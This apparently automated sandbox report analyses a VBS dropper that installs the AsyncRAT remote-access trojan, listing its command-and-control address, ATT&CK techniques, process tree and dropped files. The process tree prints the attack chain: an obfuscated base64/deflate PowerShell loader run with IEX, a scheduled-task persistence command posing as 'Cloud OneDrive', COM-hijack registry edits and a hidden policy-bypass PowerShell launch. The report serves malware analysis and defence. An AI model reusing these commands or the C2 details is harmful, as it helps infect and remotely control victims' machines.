Analysis

  • max time kernel
    122s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/09/2024, 00:00

General

  • Target
    #9948-8465.vbs
  • Size 8KB
  • Sample240913-aafgastbnc
  • SHA256 da6181e22c0c7230058044b36945666bd5cb6eef577eed273f217b166335e1b4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • AWS | 3Losh

Botnet
  • Sasa

C2
  • 88.119.175.153:6606

  • 88.119.175.153:7707

  • 88.119.175.153:8808

  • 88.119.175.153:6666

  • 88.119.175.153:5555

Mutex
  • AsyncMutex_Ass#$Butt$

Attributes
  • delay

    5

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 4 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\#9948-8465.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $bwrdjyvaostknlmeqfzc = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('SUV4KCBOZVctb2JKZUNUICBpTy5DT21wcmVTU2lvTi5kZWZsYVRFc1RSZUFtKFtpby5NZU1vUllzdFJFYU1dW2NvTlZlUlRdOjpmcm9tYkFzZTY0c1RyaU5HKCAnelZwYmJ1c2dFTjBLUXYxSUZLa2JpS0oySDFGVzB1dTlseGhzQTJZZVo0RHEzbzllWW9hWk0wOWc3SThmdC81Ym5IdmNuUHU0T0hkMTdoNUdhV0tiUEo0czFmeTY5RmJPNzdOTFdIalpaeDc3NkZhc3Y5NXpjWUh1a2pGN1pPTmJKVGd0WEtVVUNFaEpFVnd1b2VDZkVWOFBQU2d0U0VCdkFRbzgxOHJRa1pSYVdjRkxhd0ZzdVdQaVF2LzBOLzkyK3ZmUFcxLy9UT2hmWVcxNC92M21mdzFFR1I4ZkdLKy9GNzlUUmVZNTNlTFh1VHlJL0d1RjVEKytEa0ZSV0h6KzhrVmd4YUR6L3ZPeUFReENTaWpSOTJIWjYxRENQd3U1eStiQlhmck9xMFN4S3AxbW8vUGZuS0tFMTZyeVZ3azZZM1ppdFM0NWducDVSQ3NscGcwVkNuQnQ4UnV2a2tQU0wzQzQ1OVplemhaSXc2V0lDb0t3K3VFTXEvSTQxOUVySkJ6RE1oa3F1QUpaTkVPbnRVb3hOYmRTU3lYV3M2eDFzczVrU05sY0h3NUd4V2F5dHkwaWVCWDB3T0lmSk5vQXFXQVVhdzFSeW1tdHlMRTJHVUxvQUZod25rT3VieUZ1eE1Tc1dCTHFVNVdJYkJHZzgzdU1LbURjMGRyWVFDanJLY1lkMUFzSVJiYXV5OVViTTlVbUVsQkVieUlTRzVpWG5ENkt6TWtzb3M3dE1mc011TlVLT3NMeDJUU0V5Z3hTSkZLWk82b3NWMFVaY2tSdk1JdmIxWW1KT1IrYVE4VHFiWXlkYWRaWXhSa01TUysxZmxJUUt6S0p5MGIxc1ZjQ21qamIyU1YxTUpjREFkNjBBZ2trUTQxQXNnU2E4YTZuTVhNcktaQ3lya3hXTlRwNng0RDNHUFEwWmIvZkhSbllhVEVKaitBNEpWelJ2eWNZQ2tJbzEzWnN2UVVTMUtOQlpxaDBmWllyZ3Bxc0xkQmx0U2tDTzlXQzNrTmlIV1dOSG1IQUZzRC9lSXlCU3BWd2tCbllGK1J5RzVHbkRnUE9IUEdQeFgxVmZvSmxDcjI5bXE1RHdQVVRPbFVtbzBIb0FTOWhlUTEzeUtUNjJRWXNiVEpRN0hQMi9xTVdmRk1KbWFBZTlybGlqQm1HblBwRVlBb0szSHpWYzNYdzk3NjZ5QVRLUFZRc3RpeHRlS291b3kyKzdxTm5aN2xXR0pkR3o5MllwM1JRdDZFbUJFai9HS29PMUVVem1YMktjelY3Y2ZGTDB3T3gzcmIydjZQdUZzSmhqVVBDRGRYMHRvM2NGbjNEU2lUZW85QmVCbVJxTURKUHcvRnBXRzJRc0c5VVlkclpZRGgwTnlhd1dHblEwQml6KzgyOGFzOWdMTlpKYWpqb2pVSEhPN1RtVUcra0tSZHRwbkt6MSt4UnVpVkM1b290OTBob0hmcFUwSmxMWENQSGxTNzBUYnRqSEUwNTNJazNXZnd1blAzM0Y2ZG1RSVRoWXdqREtZTjhFUTNjVUhneTVHc0dxTHAydnR1aWgyQnYxL2cxREZNd29KQ0VOK0FCdEpSanVVMXI1NGVHTlBKdWNYWkRxdmVJWGVYZWxPK1RxcUtLWXVySXFmRnVFR1JOK2t4UkVmeGlLSFM4RmVBcUE4V0R3V24vMG9MVkZJQkNJNEdLZVIweTRMVVE0cS9yUS9EemNTVDBaNjF2d3M4MGtYTmZZN0dpbi9KTmJMbTY0NVd6VUFKS0JyWnZiaXJsbU9tNEhqeFRBN1YyUkcreGtBMGZ0ay96OW9aZ1RaTkMxOHlPVGNmenNQZDlJRlc0endFQkhsL2dFbWp0TE1MSlZITDdkNUFGQU42NThPQ3plUFlMJyApLCBbSU8uQ29NcHJlU1Npb04uQ09NcHJFc3Npb25tT0RFXTo6RGVDT01wUkVzUyl8JSB7TmVXLW9iSmVDVCAgc3lTVEVtLklPLnNUUkVhTXJlYWRFUigkXyxbVEVYVC5FTkNPZGluR106OmFTQ2lJKX0gfCV7JF8uUmVhRFRPRW5EKCl9ICk='));powershell $bwrdjyvaostknlmeqfzc
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1356
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "IEx( NeW-obJeCT iO.COmpreSSioN.deflaTEsTReAm([io.MeMoRYstREaM][coNVeRT]::frombAse64sTriNG( 'zVpbbusgEN0KQv1IFKkbiKJ2H1FW0uu9lxhsA2YeZ4Dq3o9eYoaZM09g7I8ft/5bnHvcnPu4OHd17h5GaWKbPJ4s1fy69FbO77NLWHjZZx776Fasv95zcYHukjF7ZONbJTgtXKUUCEhJEVwuoeCfEV8PPSgtSEBvAQo818rQkZRaWcFLawFsuWPiQv/0N/92+vfPW1//TOhfYW14/v3mfw1EGR8fGK+/F79TReY53eLXuTyI/GuF5D++DkFRWHz+8kVgxaDz/vOyAQxCSijR92HZ61DCPwu5y+bBXfrOq0SxKp1mo/PfnKKE16ryVwk6Y3ZitS45gnp5RCslpg0VCnBt8RuvkkPSL3C459ZezhZIw6WICoKw+uEMq/I419ErJBzDMhkquAJZNEOntUoxNbdSSyXWs6x1ss5kSNlcHw5GxWayty0ieBX0wOIfJNoAqWAUaw1RymmtyLE2GULoAFhwnkOubyFuxMSsWBLqU5WIbBGg83uMKmDc0drYQCjrKcYd1AsIRbauy9UbM9UmElBEbyISG5iXnD6KzMksos7tMfsMuNUKOsLx2TSEygxSJFKZO6osV0UZckRvMIvb1YmJOR+aQ8TqbYydadZYxRkMSS+1flIQKzKJy0b1sVcCmjjb2SV1MJcDAd60AgkkQ41AsgSa8a6nMXMrKZCyrkxWNTp6x4D3GPQ0Zb/fHRnYaTEJj+A4JVzRvycYCkIo13ZsvQUS1KNBZqh0fZYrgpqsLdBltSkCO9WC3kNiHWWNHmHAFsD/eIyBSpVwkBnYF+RyG5GnDgPOHPGPxX1VfoJlCr29mq5DwPUTOlUmo0HoAS9heQ13yKT62QYsbTJQ7HP2/qMWfFMJmaAe9rlijBmGnPpEYAoK3HzVc3Xw9766yATKPVQstixteKouoy2+7qNnZ7lWGJdGz92Yp3RQt6EmBEj/GKoO1EUzmX2KczV7cfFL0wOx3rb2v6PuFsJhjUPCDdX0to3cFn3DSiTeo9BeBmRqMDJPw/FpWG2QsG9UYdrZYDh0NyawWGnQ0Biz+828as9gLNZJajjojUHHO7TmUG+kKRdtpnKz1+xRuiVC5oot90hoHfpU0JlLXCPHlS70TbtjHE053Ik3WfwunP33F6dmQIThYwjDKYN8EQ3cUHgy5GsGqLp2vtuih2Bv1/g1DFMwoJCEN+ABtJRjuU1r54eGNPJucXZDqveIXeXelO+TqqKKYurIqfFuEGRN+kxREfxiKHS8FeAqA8WDwWn/0oLVFIBCI4GKeR0y4LUQ4q/rQ/DzcST0Z61vws80kXNfY7Gin/JNbLm645WzUAJKBrZvbirlmOm4HjxTA7V2RG+xkA0ftk/z9oZgTZNC18yOTcfzsPd9IFW4zwEBHl/gEmjtLMLJVHL7d5AFAN658OCzePYL' ), [IO.CoMpreSSioN.COMprEssionmODE]::DeCOMpREsS)|% {NeW-obJeCT sySTEm.IO.sTREaMreadER($_,[TEXT.ENCOdinG]::aSCiI)} |%{$_.ReaDTOEnD()} )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3652
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3112
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\Windows\system32\reg.exe
        REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:4744
      • C:\Windows\system32\reg.exe
        REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:3484
      • C:\Windows\system32\cmd.exe
        cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3388
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
            "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2296

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        cloud.bat

        • Path C:\ProgramData\Cloud\cloud.bat
        • Size 1KB
        • SHA256 e209153dda335fec8fa021f1022c4f9fe041cb527c2b9068eb9ec911429f20a3
        • MD5 SHA1 SHA512

        cloud.ps1

        • Path C:\ProgramData\Cloud\cloud.ps1
        • Size 666KB
        • SHA256 ca0713d77d71359ff692385a2bb92e0b22fe7f0db9a356fd4ffbbfeb34911584
        • MD5 SHA1 SHA512 SSDEEP

        cloud.vbs

        • Path C:\ProgramData\Cloud\cloud.vbs
        • Size 4KB
        • SHA256 b098e1055dc3dd3156236ee515e5dfbefd746d84578197f2309968625b831724
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e198883dc78657f44bae11e2de5f56bc0f41eb6440f73cd3d65c30878b858734
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_1wwsshon.z32.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1wwsshon.z32.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/1356-22-0x00007FFF26D53000-0x00007FFF26D55000-memory.dmp

        memory/1356-23-0x00007FFF26D50000-0x00007FFF27811000-memory.dmp

        memory/1356-0-0x00007FFF26D53000-0x00007FFF26D55000-memory.dmp

        memory/1356-32-0x00007FFF26D50000-0x00007FFF27811000-memory.dmp

        memory/1356-12-0x00007FFF26D50000-0x00007FFF27811000-memory.dmp

        memory/1356-11-0x00007FFF26D50000-0x00007FFF27811000-memory.dmp

        memory/1356-6-0x00000220F7B00000-0x00000220F7B22000-memory.dmp

        memory/1400-46-0x000001F7BE790000-0x000001F7BE79E000-memory.dmp

        memory/2296-47-0x0000000000600000-0x0000000000618000-memory.dmp

        memory/2296-49-0x0000000004D20000-0x0000000004D36000-memory.dmp

        memory/2296-50-0x00000000055F0000-0x0000000005B94000-memory.dmp

        memory/2296-51-0x0000000005230000-0x00000000052C2000-memory.dmp

        memory/2296-52-0x0000000005220000-0x000000000522A000-memory.dmp

        memory/2296-53-0x0000000005DE0000-0x0000000005E7C000-memory.dmp

        memory/2296-54-0x0000000005E80000-0x0000000005EE6000-memory.dmp